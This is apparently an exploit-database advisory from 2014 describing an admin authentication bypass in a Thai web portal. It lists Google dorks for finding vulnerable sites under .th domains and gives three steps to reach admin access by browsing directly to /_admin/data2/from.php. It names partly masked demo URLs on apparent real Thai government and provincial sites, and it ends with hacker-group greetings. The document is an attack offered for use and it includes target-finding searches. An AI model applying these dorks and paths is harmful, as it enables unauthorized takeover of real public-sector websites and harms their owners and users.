#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ # # Exploit Title: Admin privilege escalation security bug in Thailand portal # Author: alieye # Contact : cseye_ut@yahoo.com # Risk : High # Class : Remote # Google Dork: # inurl:/_admin/send/img # inurl:/_admin/data2/ # site:.th inurl:/_admin/ # # Version: all version # Tested on: win server 2008 # Date: 29/05/2014 #++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1-go to the victim site like this (http://www.victim.th/_admin/) 2-change path to /_admin/data2/ or /_admin/data2/from.php 3-now ........., you are an admin (congratulation) demo : http://udonpXao.go.th/_admin/data2/from.php?id_group=&name= http://www.cXoopkpp.in.th/_admin/data2/from.php #++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [#] Spt Tnx To ZOD14C , 4l130h1 , bully13 , andelos , 3.14nnph and all cseye members [#] Thanks To All Iranian Hackers [#] website : http://cseye.vcp.ir/ #++++++++++++++++++++++++++++++++++++++++++++++++++++++++